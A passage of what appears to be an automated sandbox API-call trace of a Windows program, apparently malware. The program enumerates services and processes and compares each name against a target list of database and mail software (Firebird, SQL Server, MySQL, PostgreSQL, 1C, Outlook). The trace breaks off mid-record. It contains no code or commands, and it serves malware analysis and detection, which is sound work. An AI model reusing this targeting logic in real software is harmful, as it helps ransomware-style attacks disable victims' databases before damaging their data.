[0036.789] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.789] lstrlenW (lpString="Spooler") returned 7 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.789] lstrlenW (lpString="SysMain") returned 7 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.789] lstrlenW (lpString="Themes") returned 6 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.790] lstrlenW (lpString="TrkWks") returned 6 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.790] lstrlenW (lpString="UxSms") returned 5 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.790] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.790] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.790] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.790] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.790] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.790] lstrlenW (lpString="Winmgmt") returned 7 [0036.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.791] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.791] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.791] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.791] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x329a7f0 | out: hHeap=0x790000) returned 1 [0036.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0036.792] Process32FirstW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.793] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.793] lstrlenW (lpString="System") returned 6 [0036.793] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.793] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.793] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.793] lstrlenW (lpString="smss.exe") returned 8 [0036.793] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.793] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.794] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.794] lstrlenW (lpString="csrss.exe") returned 9 [0036.794] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.794] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.794] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.794] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.794] lstrlenW (lpString="wininit.exe") returned 11 [0036.794] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.794] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.794] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.795] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.795] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.795] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.795] lstrlenW (lpString="csrss.exe") returned 9 [0036.795] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.795] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.795] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.795] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.795] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.795] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.795] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.795] lstrlenW (lpString="winlogon.exe") returned 12 [0036.795] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.796] lstrlenW (lpString="services.exe") returned 12 [0036.796] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.796] lstrlenW (lpString="lsass.exe") returned 9 [0036.796] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.796] lstrlenW (lpString="lsm.exe") returned 7 [0036.796] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.797] lstrlenW (lpString="svchost.exe") returned 11 [0036.797] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.798] lstrlenW (lpString="svchost.exe") returned 11 [0036.798] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0036.798] lstrlenW (lpString="audiodg.exe") returned 11 [0036.798] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.798] lstrlenW (lpString="svchost.exe") returned 11 [0036.798] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.798] lstrlenW (lpString="svchost.exe") returned 11 [0036.799] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.799] lstrlenW (lpString="dwm.exe") returned 7 [0036.799] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.799] lstrlenW (lpString="explorer.exe") returned 12 [0036.799] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.799] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.799] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.800] lstrlenW (lpString="taskhost.exe") returned 12 [0036.800] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.800] lstrlenW (lpString="svchost.exe") returned 11 [0036.800] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.800] lstrlenW (lpString="taskeng.exe") returned 11 [0036.800] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.800] lstrlenW (lpString="taskhost.exe") returned 12 [0036.800] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0036.801] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0036.801] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0036.801] lstrlenW (lpString="noticed.exe") returned 11 [0036.801] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0036.801] lstrlenW (lpString="uploaded.exe") returned 12 [0036.801] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0036.802] lstrlenW (lpString="hardware.exe") returned 12 [0036.802] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0036.802] lstrlenW (lpString="oracle.exe") returned 10 [0036.802] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0036.802] lstrlenW (lpString="creativity.exe") returned 14 [0036.802] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0036.802] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0036.802] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0036.803] lstrlenW (lpString="edited.exe") returned 10 [0036.803] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0036.803] lstrlenW (lpString="custody.exe") returned 11 [0036.803] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0036.803] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0036.803] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0036.804] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0036.804] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0036.804] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0036.804] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0036.804] lstrlenW (lpString="radius.exe") returned 10 [0036.804] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0036.805] lstrlenW (lpString="extensions.exe") returned 14 [0036.805] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0036.805] lstrlenW (lpString="desperate.exe") returned 13 [0036.805] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0036.805] lstrlenW (lpString="professor-mo.exe") returned 16 [0036.806] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0036.806] lstrlenW (lpString="guidance.exe") returned 12 [0036.806] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0036.806] lstrlenW (lpString="week.exe") returned 8 [0036.806] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0036.806] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0036.806] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0036.807] lstrlenW (lpString="sn featured.exe") returned 15 [0036.807] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0036.807] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0036.807] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0036.807] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0036.807] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.807] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.808] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0036.808] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0036.808] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, 